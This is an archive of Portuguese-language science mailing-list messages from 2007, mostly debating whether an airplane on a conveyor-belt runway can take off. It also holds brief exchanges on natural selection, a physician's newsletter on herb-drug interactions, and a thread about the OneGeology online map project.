http://br.groups.yahoo.com/group/ciencialist/message/53065

As mensagens começam neste link, e podem ser acompanhadas a partir
dele. É interessante notar como se reproduziu exatamente a mesma
seqüencia deste novo debate, menos o Takata (que achou novos coelhos
na cartola desta vez):

http://br.groups.yahoo.com/group/ciencialist/message/52904

Neste link abaixo há uma discussão sobre o problema, que também
conclui que o avião decola sem problemas:

http://www.straightdope.com/columns/060203.html

Enfim, a resposta "óbvia" está errada, porque assume a tração das
rodas, coisa cotidiana, e esquece que aviões tem propulsores que não
dependem das rodas.

Todos os sites que encontrei com analises do problema, presumem o
atrito como desprezível, sendo essa a intenção do autor e do problema.
Nenhum deles tirou o "coelho da cartola" de rolamentos e deformação de
pneus, pois não era a função do problema. Todos, sem exceção, alertam
para o fato de que não há tração nas rodas, e o avião não depende
disso para se mover.

Um deles tem um interessante comentário a proposição do enunciado: se
este pode considerar uma "esteira perfeita", ele pode considerar
"rolamentos perfeitos". Ou seja, sem atrito, pois considerando sua
função, é isso que um rolamento perfeito faz.

É uma "pegadinha", não um tratado sobre rolamentos e aeronautica.

Um abraço.

Homero




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SUBJECT: Re: [Spam] [ciencialist]P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/03/2007 00:08

Calma, Homero, se mover não é voar! Todos os aviões são construído para se
mover quando os motores forem acionados. Sua conclusão é açodada...
[]s
JR
.....................................................

----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, March 07, 2007 2:02 AM
Subject: [Spam] [ciencialist]P/ Takata - O avião decola SEM PROBLEMAS..:-)
Re: avião em esteira


Olá pessoal

Esta a seguir é a resposta de um especialista aeronautico da
Aero/Astro (Aeronautical and Astronautical Engineering), George
Springer, que praticamente repete os exemplos e argumentos que já
vimos. Ele afirma, com certeza derivada de sua especialidade, que:

"Unless the wheels are locked, the friction is always going to be less
than the thrust, which means that the overall force is still forward,
and the plane will still move."

E o avião decola..:-)

Um abraço.

Homero
_____________________________________________
The problem here, of course, is that the poster (and Neal) cannot
disengage themselves from seeing the airplane as a car. The difference
between a car and a grounded airplane is that a car uses its wheels to
propel itself forward, and an airplane moves itself forward by moving
air. They assume that the runway moving backwards would move the plane
backwards. This is what would happen with a car (that is in gear), so
why not for an airplane? Well, because an airplane's wheels are free
rolling. There is obviously some friction, so there would be some
small backwards force, but it would be infinitely small as compared to
the forward thrust of the airplane.

You can test this with a piece of paper and a matchbox car (which has
free rolling wheels like an airplane. or like a car in neutral.) Place
the paper on a table, and place the matchbox car on the paper. Take
your hand, and hold the car still with a lightly placed finger on top
of the car. At this point you are providing no forward thrust, and the
"conveyor belt" is not moving. The car remains stationary. Now,
continuing to hold the airplane with a lightly placed finger, and
start to pull the paper out from under the car, in the backwards
direction. According to Neal's logic, the car should push back on your
finger with the same force that you are exerting on the paper. but
this is not what will happen. You will find that your lightly placed
finger is not stressed to any noticeable extent. The paper will slide
out, and the wheels will spin, but the car will not be propelled
backwards. The reason for this is is that the rotation of the wheels
is not related to the movement of the matchbox car except by the very
small friction component of the axle, which your lightly placed finger
can easily control.

So now we have established that movement of the surface beneath a free
wheeling object does not exert a noticeable force on the object. Next,
we'll see what happens when the object is trying to move forward.
Attach a string to the matchbox car. Place the car at one end of the
paper, and use the string to start pulling the car forward with a
steady force. As the car moves forward, start pulling the paper out
from under the car, backwards. Do you feel increased resistance as you
pull the string? Of course not. The wheels are free rolling! Spinning
the wheels does not make the object move!

When an airplane takes off, there is one major forward force. the
forward thrust. The main rearward force is air resistance. The turning
of the wheels provides a small frictional force, but because the
wheels are free-rolling, this friction is very small. Unless the
wheels are locked, the friction is always going to be less than the
thrust, which means that the overall force is still forward, and the
plane will still move.



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SUBJECT: Re: [ciencialist] P/ Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/03/2007 00:22

Homero, seja paciente! Antes de afirmar que eu estou errado, seria mais
lógico vc comprovar como o avião voa no arranjo apresentado no problema. Vc
começa com algum enfoque e depois degringola a imaginar que só vc que sabe
tudo e precisa explicar com detalhes que nada tem a ver com a questão.
Vc pode escrever menos e dizer mais sobre *como* o avião consegue voar...
[]s
JR
.............................................
----- Original Message -----
From: "Oraculo" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 06, 2007 4:54 PM
Subject: [ciencialist] P/ Renato - O avião decola SEM PROBLEMAS..:-) Re:
avião em esteira


Olá Jose Renato

Renato: "Se vc conseguir entender esse esquema, passaremos
para o caso em que a velocidade do avião é medida pelo aparelho de vôo que
mede a velocidade do vento ou por um sistema GPS."

O esquema está errado, completamente errado, e é a base do problema, o
engano que nossa mente comete ao avaliar o problema como você está fazendo.
Totalmente errado. A velocidade do avião, não tem NADA a ver com a
velocidade com que as rodas giram, nesse sentido de seu esquema. Substitua
as rodas por um esqui e a esteira por uma pista de gelo, e TALVEZ entenda o
problema.

Observe que mesmo o Takata está admitindo atrito, pois sem atrito, não há
como a esteira atuar no avião. Por isso o Ricardo está corretíssimo, as
rodas apenas giram em velocidade dobrada, sem fazer nenhuma força (a não ser
o mínimo atrito dos rolamentos) no avião.

Seu engano, recorrente, vem da "sensação" de que ao "puxar" uma esteira ou
tapete, você "cai", porque a esteira ou tapete puxa seus pés.

Mas, se estiver de patins de rodas, puxar o tapete ou rolar a esteira, NÃO
vai derruba-lo, apenas vai fazer as rodas girarem mais.

Aliás, eu pensei em um exemplo que pode fazer na academia, para desfazer
suas dúvidas. Coloque um patinador sobre uma esteira de corrida, e ligue a
esteira. O patinador, no lugar de cair, ou ter de dar passos, ficará parado
no lugar, sem nenhum problema, bastando segurar as bordas, com mínimo
esforço, para vencer o pouco atrito dos rolamentos.

Agora, empurre o patinador para frente, contra a direção do rolamento da
esteira. Observe que, as rodas, JÁ estam girando, devido a esteira, e apenas
giraram MAIS rápido, para compensar o movimento do patinador para frente.

Movimento esse que precisa apenas da MESMA força que necessitaria para
acançar se estivesse no chão, sem a esteira.

Ou seja, se substituir o patinador por um patinador com hélices, este vai
avançar para frente assim que ligar as hélices, MESMO QUE A ESTEIRA ESTEJA
EM ALTA VELOCIDADE PARA TRAS.

Tente entender, está lidando com o problema como se fosse um corredor sobre
a esteira, que tem de fazer força para compensar o movimento para tras,
andar e correr. Um patinador não precisa, basta uma força MÍNIMA para vencer
o atrito dos rolamentos das rodas dos patins, e ele fica no lugar. E um
esforço identico ao necessário no chão firme, o faz avançar.

Se avançar, decola, essa é a questão. O avião avança, pois é como o
patinador, não está mais conectado a esteira ou ao chão, e o atrito mínimo
NÃO pode impedir você de mover o patinador para frente, mesmo com a esteira
recuando rapidamente.

O mais difícil é que, se alguém construir uma esteira na pista, e colocar
uma vião, este vai decolar, mas você vai recusar a aceitar, porque sua visão
está enganada pelos pressupostos do dia a dia a que se acostumou (rodas
servem para tracionar e pronto).

Outra imagem que me veio à cabeça, que talvez esclareça. Pense em um
patinador sobre uma esteira, mas a esteira é inclinada. O patinador está se
movendo na direção de descida da esteira, e a esteira pode se mover na
direção de subida. Se ligar a esteira, pensa que pode trazer o patinador de
volta para cima? Pense no patinador parado, ligado por um fio ao alto da
esteira. O fio não permite que ele desça mais. Agora, ligue a esteira. Isso
vai girar as rodas do patinador, mas NÃO VAI TRAZE-LO PARA CIMA, NEM UM
MILIMETRO. Acelere a esteira quanto quiser, o patinador continuará parado no
lugar, pois as rodas IMPEDEM que a esteira aplique força nele. Se o atrito
dos rolamentos dos patins for zero, nem mesmo uma ligeira diminuição da
pressão no fio que segura o patinador irá sentir. Se for mínima, pode
conseguir diminuir a pressão, mas não vai conseguir levantar o patinador.

Como pensa que essa força, desprezível de atrito nos rolamentos, vai impedir
um avião de decolar ou mante-lo parado no lugar, Renato?

Está errado, Renato, e espero que compreenda isso em algum momento.

Homero

PS: A culpa é sua, Takata..:-) Ao defender o indefensável, com ajustes de
atrito, está confundindo ainda mais o Renato, de forma que ele realmente
pensa que é a ESTEIRA que impede o avião de decolar. Todos aqui, eu e o
Ricardo inclusive, admitimos que qualquer força oposta ao movimento do
avião, se contrabalançar o empuxo, impede a decolagem, mas o Renato não está
entendendo que não é a rolagem da esteira que pode fazer isso.




----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, March 06, 2007 4:23 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira


OK, Ricardo! Vamos relembrar as premissas. Avião parado, sem rolar na
esteira, esteira parada também.
O avião aciona os motores e começa a rolar para frente sobre a esteira,
*simultaneamente* a esteira rola para trás na mesma velocidade. É como se
houvesse um sistema de polia-correia que mantivesse as rodas do avião e o
acionador da esteira conectados girando na mesma velocidade. Nesse caso o
medidor de velocidade do avião está nas rodas, agindo como um velocímetro
de
carro e as rodas não giram com o *dobro* da velocidade da esteira, como vc
diz abaixo. O ponto de referência de medição da velocidade da esteira é
está
no chão; o ponto de ref para medição da veloc do avião está no piso da
esteira onde o avião está apoiado. Nesse caso, em relação ao chão, o avião
está praticamente parado. Se vc conseguir entender esse esquema,
passaremos
para o caso em que a velocidade do avião é medida pelo aparelho de vôo que
mede a velocidade do vento ou por um sistema GPS.
[]s
José Renato
......................................................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, March 04, 2007 8:12 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira

> Olá José Renato,
>
> Talvez estejamos interpretando o problema de forma diferente. Vamos dar
> mais
> uma olhada no enunciado original:
>
> "Um avião está estacionado em uma pista móvel (como se fosse uma esteira
> rolante). O avião se move em um sentido, e a esteira no sentido oposto.
> A esteira tem um sistema de controle que acompanha a velocidade do avião
> e faz com que a esteira tenha exatamente a mesma velocidade, no sentido
> oposto. A pergunta é: o avião vai conseguir decolar?"
>
> Segundo o texto acima se o avião estiver parado, a esteira estará também
> parada, com a turbina ligada. Nesta interpretação do texto (talvez vc
> tenha
> outra), é impossível o avião ficar parado. Imaginou a cena? O avião e a
> esteira parados, com uma turbina empurrando com toda a força o avião
para
> frente? Conforme o avião começa a andar para frente, a esteira começa a
> rodar para trás com a mesma velocidade, o que faz com que as rodas girem
> com
> o dobro da velocidade. Talvez não concorde com esta visão, mas, se for o
> caso, peço que mostre os erros que cometi.
>
> Obrigado,
>
> Ricardo





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SUBJECT: Re: [ciencialist] P/ Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/03/2007 00:25

Será que vc consegue entender o que significa a expressão "como se tivesse"?
Vc não gostaria de desenvolver o seu raciocínio de forma organizada?
[]s
JR
..........................................................................

From: "Oraculo" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 06, 2007 5:09 PM
Subject: [ciencialist] P/ Renato - O avião decola SEM PROBLEMAS..:-) Re:
avião em esteira


Olá José Renato

Acho que seu engano recorrente fica evidente neste trecho:

Renato: "O avião aciona os motores e começa a rolar para frente sobre a
esteira,
*simultaneamente* a esteira rola para trás na mesma velocidade. É como se
houvesse um sistema de polia-correia que mantivesse as rodas do avião e o
acionador da esteira conectados girando na mesma velocidade. "

Não, não é. Isso SÓ funcionaria como você pretende se fosse um AUTOMÓVEL, um
carro, que usa os pneus e rodas para tracionar. Ao ligar o carro, e fazer
as rodas girarem, a esteira "compensa" e o carro não sai do lugar. Mas isso
APENAS porque o carro depende das rodas para se mover, o avião NÃO
DEPENDE!!!

O avião e a esteira NÃO estão conectados! Carros sim, pois a tração está
ligada as rodas, ao sistema de marchas e ao motor, que está ligado ao carro.
No avião, NÂO HÁ nada disso, Renato. Não há esse "sistema de polias" que
está imaginando.

O avião não se move PORQUE as rodas giram, elas giram PORQUE ele se move.
Isso faz toda diferença, e isso está confundindo você.

Imagine que o avião está sobre as esteiras, não sobre rodas, mas sobre um
"colchão de ar", suspenso sem tocar a esteira. Ao ligar os motores, a
propulsão, ele se move. Não importa se as rodas giram ou se ficam paradas,
não é? Ele SE MOVE simplesmente porque a porpulsão está ligada e NADA impede
seu movimento. Agora, encoste as rodas ligeiramente na esteira, bem de leve.
Agora, ao se mover, as rodas giram, APENAS porque a esteira ou o chão as faz
girar. Ainda aqui, o avião SE MOVE para frente, nao importam as rodas.

Os rolamentos são exatamente para isso, Renato, dispositivos de eliminar
contato, e permitir que, com ou sem esteira, o avião se mova para frente ao
ligar a propulsão. Se a esteira começa a rolar para trás, as rodas
simplesmente se comportam como se o chão as estivesse girando mais rápido,
mas o avião NÃO LIGA A MÍNIMA.

Não sei mais o que fazer para desfazer seu engano. Talvez se o Takata ajudar
a esclarecer o problema você entenda.

Homero






----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, March 06, 2007 4:23 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira


OK, Ricardo! Vamos relembrar as premissas. Avião parado, sem rolar na
esteira, esteira parada também.
O avião aciona os motores e começa a rolar para frente sobre a esteira,
*simultaneamente* a esteira rola para trás na mesma velocidade. É como se
houvesse um sistema de polia-correia que mantivesse as rodas do avião e o
acionador da esteira conectados girando na mesma velocidade. Nesse caso o
medidor de velocidade do avião está nas rodas, agindo como um velocímetro
de
carro e as rodas não giram com o *dobro* da velocidade da esteira, como vc
diz abaixo. O ponto de referência de medição da velocidade da esteira é
está
no chão; o ponto de ref para medição da veloc do avião está no piso da
esteira onde o avião está apoiado. Nesse caso, em relação ao chão, o avião
está praticamente parado. Se vc conseguir entender esse esquema,
passaremos
para o caso em que a velocidade do avião é medida pelo aparelho de vôo que
mede a velocidade do vento ou por um sistema GPS.
[]s
José Renato
......................................................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, March 04, 2007 8:12 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira

> Olá José Renato,
>
> Talvez estejamos interpretando o problema de forma diferente. Vamos dar
> mais
> uma olhada no enunciado original:
>
> "Um avião está estacionado em uma pista móvel (como se fosse uma esteira
> rolante). O avião se move em um sentido, e a esteira no sentido oposto.
> A esteira tem um sistema de controle que acompanha a velocidade do avião
> e faz com que a esteira tenha exatamente a mesma velocidade, no sentido
> oposto. A pergunta é: o avião vai conseguir decolar?"
>
> Segundo o texto acima se o avião estiver parado, a esteira estará também
> parada, com a turbina ligada. Nesta interpretação do texto (talvez vc
> tenha
> outra), é impossível o avião ficar parado. Imaginou a cena? O avião e a
> esteira parados, com uma turbina empurrando com toda a força o avião
para
> frente? Conforme o avião começa a andar para frente, a esteira começa a
> rodar para trás com a mesma velocidade, o que faz com que as rodas girem
> com
> o dobro da velocidade. Talvez não concorde com esta visão, mas, se for o
> caso, peço que mostre os erros que cometi.
>
> Obrigado,
>
> Ricardo





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SUBJECT: Re: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes, e o engano de JoseRenato
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/03/2007 10:44

Olá,

>
> Homero, qualquer ser vivo se adapta ao ambiente! Será que vc não consegue
> entender isso? Vc se estende em elucubrações sem qualquer sentido ao que
> se
> discute, desnecessariamente.
>

Não se adapta, é selecionado pelo ambiente. Tente entender que a seleção
ocorre *depois* de mutações, que são "aleatórias", sem a intenção de se
adaptar ao ambiente.

[]´,s
Jeff.




SUBJECT: P/ Jose Renatp - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/03/2007 15:27

Olá Jose Renato

Renato: "Calma, Homero, se mover não é voar! Todos os aviões são construído para se
mover quando os motores forem acionados. Sua conclusão é açodada..."

Não, não é. Para aviões, se mover É voar, desde que a passagem de ar pelas asas permita. Você está, mais uma vez, enganado. Completamente, como todos já tentaram demonstrar, e como os textos de especialistas também. A esteira é um engodo, um "red hering", que você engoliu com anzol e tudo, e que não consegue se livrar.

A imagtem das "rodas sobre a esteira que gira para trás" está impedindo que enxergue a questão corretamente.

Para aviões, se mover É voar, e todo seu sistema propulsor, que NÃO envolve as rodas, é apenas para isso, faze-lo se mover, de forma que esse movimento permita a pasagem de ar pelas asas e consequente sustentação.

Está errado, Renato, e nada vai mudar isso. Admitir um erro, que afinal é natural pois o enunciado tem esse propósito, enganar nossa mente, não é demérito, demérito é teimar de forma tole e um tanto ingenua.

Um abraço.

Homero



----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 10, 2007 12:08 AM
Subject: Re: [Spam] [ciencialist]P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira


Calma, Homero, se mover não é voar! Todos os aviões são construído para se
mover quando os motores forem acionados. Sua conclusão é açodada...
[]s
JR
.....................................................

----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, March 07, 2007 2:02 AM
Subject: [Spam] [ciencialist]P/ Takata - O avião decola SEM PROBLEMAS..:-)
Re: avião em esteira

Olá pessoal

Esta a seguir é a resposta de um especialista aeronautico da
Aero/Astro (Aeronautical and Astronautical Engineering), George
Springer, que praticamente repete os exemplos e argumentos que já
vimos. Ele afirma, com certeza derivada de sua especialidade, que:

"Unless the wheels are locked, the friction is always going to be less
than the thrust, which means that the overall force is still forward,
and the plane will still move."

E o avião decola..:-)

Um abraço.

Homero
_____________________________________________
The problem here, of course, is that the poster (and Neal) cannot
disengage themselves from seeing the airplane as a car. The difference
between a car and a grounded airplane is that a car uses its wheels to
propel itself forward, and an airplane moves itself forward by moving
air. They assume that the runway moving backwards would move the plane
backwards. This is what would happen with a car (that is in gear), so
why not for an airplane? Well, because an airplane's wheels are free
rolling. There is obviously some friction, so there would be some
small backwards force, but it would be infinitely small as compared to
the forward thrust of the airplane.

You can test this with a piece of paper and a matchbox car (which has
free rolling wheels like an airplane. or like a car in neutral.) Place
the paper on a table, and place the matchbox car on the paper. Take
your hand, and hold the car still with a lightly placed finger on top
of the car. At this point you are providing no forward thrust, and the
"conveyor belt" is not moving. The car remains stationary. Now,
continuing to hold the airplane with a lightly placed finger, and
start to pull the paper out from under the car, in the backwards
direction. According to Neal's logic, the car should push back on your
finger with the same force that you are exerting on the paper. but
this is not what will happen. You will find that your lightly placed
finger is not stressed to any noticeable extent. The paper will slide
out, and the wheels will spin, but the car will not be propelled
backwards. The reason for this is is that the rotation of the wheels
is not related to the movement of the matchbox car except by the very
small friction component of the axle, which your lightly placed finger
can easily control.

So now we have established that movement of the surface beneath a free
wheeling object does not exert a noticeable force on the object. Next,
we'll see what happens when the object is trying to move forward.
Attach a string to the matchbox car. Place the car at one end of the
paper, and use the string to start pulling the car forward with a
steady force. As the car moves forward, start pulling the paper out
from under the car, backwards. Do you feel increased resistance as you
pull the string? Of course not. The wheels are free rolling! Spinning
the wheels does not make the object move!

When an airplane takes off, there is one major forward force. the
forward thrust. The main rearward force is air resistance. The turning
of the wheels provides a small frictional force, but because the
wheels are free-rolling, this friction is very small. Unless the
wheels are locked, the friction is always going to be less than the
thrust, which means that the overall force is still forward, and the
plane will still move.

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Jose Renato - Tartarugas, mamutes, e o engano de JoseRenato
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/03/2007 15:35

Olá Jose Renato

Vou reforçar a mensagem do Jeff, sabendo de antemão que é inútil, pois sua crença, e sua imprssionante teimosia não permitem que aceite um erro. E já tentei explicar isso mais de 50 vezes, sem sucesso.

Jeff: "Não se adapta, é selecionado pelo ambiente. Tente entender que a seleção
ocorre *depois* de mutações, que são "aleatórias", sem a intenção de se
adaptar ao ambiente."

Exato, o Jeff tem toda razão. Tente entender, nenhum individuo se adapta, é selecionado, fica vivo ou morre, a partir de mutações aleatórias que JÁ ocorreram, no momento de formação de seus genomas. Não se adaptam mais do que grãos de areia que passam, ou não, pelos furos de uma peneira. Os grãos "nascem" da forma como nascem, sem escolha, por forças aleatórias, que os constroem de diversos tamanhos.

Passe os grãos de areia por uma peneira, e apenas os MENORES que os furos vão estar na "próxima geração". Mas NENHUM grão de areia se "adaptou" a nada, apenas são o que são, selecionados por forças externas.

Seres vivos nascem com as diferenças que seu genoma determina, de forma aleatória e não intencional. Alguns com propensão a mais pelos, outros com menos. Se a "peneira" for para ser mais vantajoso ter mais pelos, uma tendencia a animais peludos surgirá. Se no meio do processo, o clima esquenta, uma tendencia a animais sem pelo surgirá. Mas NENHUM animal JAMAIS se adaptará a nada, nascendo como seu genome, aleatório e não intencional, determinar.

Sei que é inútil tentar explicar, já que a compreensão da teoria da evolução, como ela é, tras perigo a suas crenças religiosas, e a idéia de uma força intencioal, inteligente, a nos guiar e proteger (não, não é Papai Noel, mas é parecido). Mas tentamos assim mesmo, pois é importante que as explicações corretas sejam apresentadas de toda forma.

Um abraço.

Homero




----- Original Message -----
From: Jefferson
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 10, 2007 10:44 AM
Subject: Re: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes, e o engano de JoseRenato


Olá,

>
> Homero, qualquer ser vivo se adapta ao ambiente! Será que vc não consegue
> entender isso? Vc se estende em elucubrações sem qualquer sentido ao que
> se
> discute, desnecessariamente.
>

Não se adapta, é selecionado pelo ambiente. Tente entender que a seleção
ocorre *depois* de mutações, que são "aleatórias", sem a intenção de se
adaptar ao ambiente.

[]´,s
Jeff.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: FITOTERÁPICOS NO JOGO DOS 7 ERROS
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 10/03/2007 17:36

___________________________________________________________________
DR. ALESSANDRO LOIOLA – SAÚDE PARA TODOS - 10/03/2007 - No.044

http://br.groups.yahoo.com/group/saudeparatodos
© Dr. Alessandro Loiola - mailto: alessandroloiola@yahoo.com.br

Convide seus amigos para uma dose diária de saúde (assinar ou cancelar no final).

___________________________________________________________________


Olá,

Tenho recebido vários emails com dúvidas sobre fitoterapia, indo desde o tradicional “será que funciona?” até questões mais elaboradas envolvendo potenciais interações medicamentosas.

A verdade é que a medicina dita popular ou natural vem ganhando adeptos a cada dia, mas ainda está distante de ser levada a sério. Uma pena. Medidas naturais, como controle da obesidade e do estresse através da escolha correta dos alimentos, via de regra são trocadas por pílulas e caixas de comprimidos. Afinal de contas, é consideravelmente mais fácil abrir um frasco que mudar um hábito.

E o inverso também existe: pessoas que abominam a medicina alopática como se qualquer antibiótico fosse uma amostra-grátis do próprio anticristo. Pura bobagem. A sabedoria não está em escolher entre um time (natural) ou outro (alopático), mas sim em selecionar o MELHOR de cada um.

Espero que a crônica de hoje seja um passo adiante neste sentido. Remédios naturais funcionam e devem ser encarados como um recurso válido em inúmeros distúrbios – desde que cercados dos devidos cuidados.


Dr. Alessandro Loiola.

___________________________________________________________________


FITOTERÁPICOS NO JOGO DOS 7 ERROS

© Dr. Alessandro Loiola


Quando era criança, adorava revistas que traziam aqueles jogos dos 7 erros, onde você devia comparar uma figura com outra, teoricamente igual, e marcar as diferenças entre elas. Nunca soube exatamente porque eram sempre 7 erros e não 6 ou 8 ou 10, etc. Mas a lição ficou: nem sempre o que parece idêntico à primeira vista é realmente uma cópia fiel do original.

Recentemente, a onda dos medicamentos naturais – especialmente os Fitoterápicos - levantou uma série de questionamentos que lembra bastante o jogo dos 7 erros. Alguns remédios naturais dizem possuir os mesmos compostos químicos, propriedades e indicações terapêuticas de remédios industrializados, e deixam para o consumidor a tarefa de descobrir as diferenças escondidas entre uns e outros. Em muitos casos, este tipo de jogo termina minando a confiança nos remédios naturais que são verdadeiramente eficazes.

Uma pesquisa realizada em 1997 no Beth Israel Deaconess Medical Center (Boston, EUA) mostrou que 1 em cada 2 pessoas utiliza alguma forma de medicina alternativa, mas apenas 30% revelam o fato aos seus médicos. Os principais motivos da falta de comunicação incluem preconceito, vergonha e receio de ser criticado ou incompreendido.

Muitos fitoterápicos funcionam de fato e a maioria deles possui interações medicamentosas relevantes. Não comunicar o fato ao seu médico pode resultar em conseqüências que você não será capaz de resolver. Por exemplo: a camomila pode potencializar o efeito de remédios anticoagulantes. Um caso desse tipo, envolvendo alterações hemorrágicas em uma senhora de 70 anos que fazia uso regular de Warfarina (anticoagulante utilizado no tratamento de tromboses), foi descrito recentemente no prestigiado Canadian Medical Association Journal.

Além da camomila, outros alimentos e fitoterápicos também podem aumentar o risco de hemorragia em pessoas que utilizam remédios anticoagulantes. A lista inclui coenzima Q10, gengibre, alho, ginseng, ginkgo, garra do diabo e casca de salgueiro.

Outra interação que freqüentemente passa despercebida é o uso de fitoterápicos e suplementos que estimulam o sistema imunológico (p.ex.: alfafa, astrágalo, equinácea, ginseng e suplementos de zinco). Este equívoco é perigoso no caso de pessoas que sofrem de doenças de fundo auto-imune, tais como Artrite Reumatóide, Lúpus e Diabetes tipo 1, ou pacientes sob tratamento imunossupressor por algum motivo (p.ex., pessoas que receberam órgãos transplantados). Nestes casos, ervas que estimulam o sistema de defesa podem resultar em exacerbação da doença ou rejeição do órgão transplantado, com graves conseqüências.

Uma vez que a interação entre suplementos naturais e medicamentos anestésicos ainda não foi muito bem estudada, a maioria dos cirurgiões recomenda que qualquer suplemento ou fitoterápico seja suspenso pelo menos 2 semanas antes da operação.

Algumas pessoas com queixa de cansaço fácil e “baixos níveis de energia” costumam procurar o auxílio de fitoterápicos antes mesmo de uma avaliação médica. E passam semanas tomando vitaminas naturais na esperança de resolver o problema. Infelizmente, alguns destes incautos na verdade podem estar sofrendo de Anemia, Hipotireoidismo, Apnéia Obstrutiva do Sono, Mononucleose Infecciosa, Insuficiência Cardíaca Congestiva, Diabetes, Insuficiência Renal ou mesmo Depressão, e sua busca por uma solução rápida e prática estaria apenas retardando o tratamento mais adequado.

Substituir medicamentos tradicionais por similares naturais ou confiar que, se um fitoterápico foi eficaz para o seu vizinho também será para você, é um enorme risco. Em caso de dúvida, procure sempre a ajuda do seu médico de confiança. Ao contrário das figuras com 7 erros, sua saúde não merece ser tratada como um jogo.

---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de “Vida e Saúde da Criança” e “Crianças em forma: saúde na balança” (www.editoranatureza.com.br). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.

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SUBJECT: Re: [ciencialist] Site mostrará formação do planeta Terra
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/03/2007 17:40

Caro Léo,

Particularmente, vejo essa iniciativa como algo benéfico, vez que um conhecimento que é mais ou menos setorizado passa a ser disponível para quem quer que tenha interêsse. E os que não têm interêsse, até em razão da desinformação que grassa, a respeito, poderá interessar-se, ao começar a ler o site. É uma assunto interessante e...misterioso, para uma maioria.
Afinal, o inferno tá lá no fundo. E quem não quer saber para onde irá, se fizer besteira por aquí? Portanto...


Sds,
Victor.


----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br ; redeliberal@yahoogrupos.com.br ; noosfera_II@yahoogrupos.com.br ; Genismo@yahoogroups.com ; Conversa_de_Botequim@yahoogrupos.com.br ; brasil-politica@grupos.com.br ; Acropolis_@yahoogrupos.com.br
Sent: Friday, March 09, 2007 5:55 PM
Subject: Re: [ciencialist] Site mostrará formação do planeta Terra


Será que eles vão conseguir provar que a terra não é plana? Que é algo mais parecido com uma bola de barro cercando uma brasa? Que parcela da população mundial terá acesso a essas informações? 1%?, 2%, ... 8%????

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Silvio Cordeiro" <scordeiroes@superig.com.br>
Para: <redeliberal@yahoogrupos.com.br>; <noosfera_II@yahoogrupos.com.br>; <Genismo@yahoogroups.com>; <Conversa_de_Botequim@yahoogrupos.com.br>; <ciencialist@yahoogrupos.com.br>; <brasil-politica@grupos.com.br>; <Acropolis_@yahoogrupos.com.br>
Enviada em: sexta-feira, 9 de março de 2007 13:21
Assunto: [ciencialist] Site mostrará formação do planeta Terra

Site mostrará formação do planeta Terra
Sexta-feira, 09 de março de 2007 - 09h42
LONDRES - Geólogos de todo o mundo vão começar a montar na semana que vem o primeiro mapa geológico online da Terra.

O projeto OneGeology, que reúne cientistas de mais de 55 países, vai coletar informações de pesquisas geológicas e apresentá-las na Internet para que todos tenham acesso a elas, como o Google Earth já faz com as imagens de satélite.

Com isso, além de permitir o acesso universal a imagens detalhadas do solo, as lacunas no conhecimento ficarão mais evidentes.

'Os dados geológicos existem. O que estamos tentando fazer é destrancá-los e torná-los disponíveis universalmente', disse Ian Jackson, da Pesquisa Geológica Britânica, numa entrevista coletiva na quinta-feira. 'É como montar um quebra-cabeça global.'

'Acreditamos que, ao aumentar a disponibilidade de dados geológicos, nosso conhecimento de fatores ambientais que afetam a saúde e o bem-estar humanos aumente', acrescentou ele.

Um dos objetivos é começar a identificar estruturas geológicas profundas que possam ser usadas para o armazenamento de longo prazo do dióxido de carbono, um gás que provoca o efeito estufa.

Muitos cientistas e políticos acreditam que a captação e o armazenamento de carbono sejam um dos instrumentos mais importantes na luta contra o aquecimento global.

